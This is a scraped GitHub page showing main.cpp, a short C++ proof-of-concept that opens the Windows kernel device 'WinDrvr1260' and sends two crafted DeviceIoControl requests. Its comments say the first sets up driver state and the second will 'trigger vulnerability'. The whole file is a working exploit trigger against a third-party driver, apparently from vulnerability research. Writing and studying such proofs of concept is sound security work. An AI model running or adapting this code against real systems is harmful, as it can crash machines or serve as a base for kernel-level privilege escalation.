-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.cpp
60 lines (48 loc) · 1.25 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include "windows.h"
#include "winioctl.h"
#include "stdio.h"
int main()
{
DWORD dwOut, n;
char bufOutput[0x2000];
char bufInput[0x20];
HANDLE hDriver = ::CreateFile(
"\\\\.\\WinDrvr1260",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDriver == INVALID_HANDLE_VALUE)
{
printf("Open device failed:%x\n", GetLastError());
return -1;
}
DWORD dwRet = 0;
DWORD nRet;
n = 0;
memset(bufOutput, 0x41, 0x2000);
memset(bufInput, 0x0, 0x20);
//
//// set global_p + 0x9a6c not be zero
//
((DWORD *)bufOutput)[0] = 0x1;
((DWORD *)bufOutput)[4] = 0x0;
((DWORD *)bufOutput)[12] = 0x10;
((DWORD *)bufOutput)[14] = 0x10;
((DWORD *)bufOutput)[13] = 0x10;
((DWORD *)bufOutput)[56] = 0x1;
nRet = DeviceIoControl(hDriver, 0x95382677, &bufOutput, 0x2000, &bufInput, 0x20, &dwRet, NULL);
memset(bufOutput, 0x0, 0x2000);
memset(bufInput, 0x0, 0x20);
//
//// trigger vulnerability
//
((DWORD *)bufOutput)[0] = 0x1;
((DWORD *)bufOutput)[4] = 0x1;
((DWORD *)bufOutput)[3] = 0x1;
((DWORD *)bufOutput)[5] = 0x1;
((DWORD *)bufOutput)[6] = 0x0;
nRet = DeviceIoControl(hDriver, 0x953826DB, &bufOutput, 0x2000, &bufInput, 0x20, &dwRet, NULL);
}